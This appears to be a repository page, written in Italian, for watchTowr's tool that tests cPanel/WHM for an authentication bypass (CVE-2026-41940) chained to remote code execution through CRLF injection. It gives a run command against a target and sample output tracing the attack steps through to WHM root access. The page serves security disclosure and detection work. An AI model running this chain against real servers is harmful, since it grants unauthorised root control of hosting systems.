watchtowrlabs/watchtowr-vs-cpanel-whm-authbypass-to-rce.pyGeneratore di artefatti di rilevamento che verifica il bypass dell'autenticazione cPanel/WHM (CVE-2026-41940) e dimostra RCE tramite iniezione CRLF, mirato all'interfaccia di amministrazione WHM.
Strumento generatore di artefatti di rilevamento per il bypass dell'autenticazione di cPanel/WHM
Questo generatore di artefatti di rilevamento verifica se cPanel/WHM è vulnerabile a un recente bypass dell'autenticazione.
Test contro un'istanza vulnerabile:
python authbypass-RCE.py --target https://target:2087/
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py
(*) cPanel/WHM Authentication Bypass - Detection Artifact Generator
- Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-Pending]
[0] hostname =
[1] minting a preauth session...
session base = :vQ2WC5Bexp0oFSa7
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
HTTP 307, leaked token = /cpsess5691070609
[3] firing do_token_denied to propagate raw -> cache...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.110.0.89"}
Consulta il sito web di cPanel qui
Per le ultime ricerche sulla sicurezza, segui il team dei Labs di watchTowr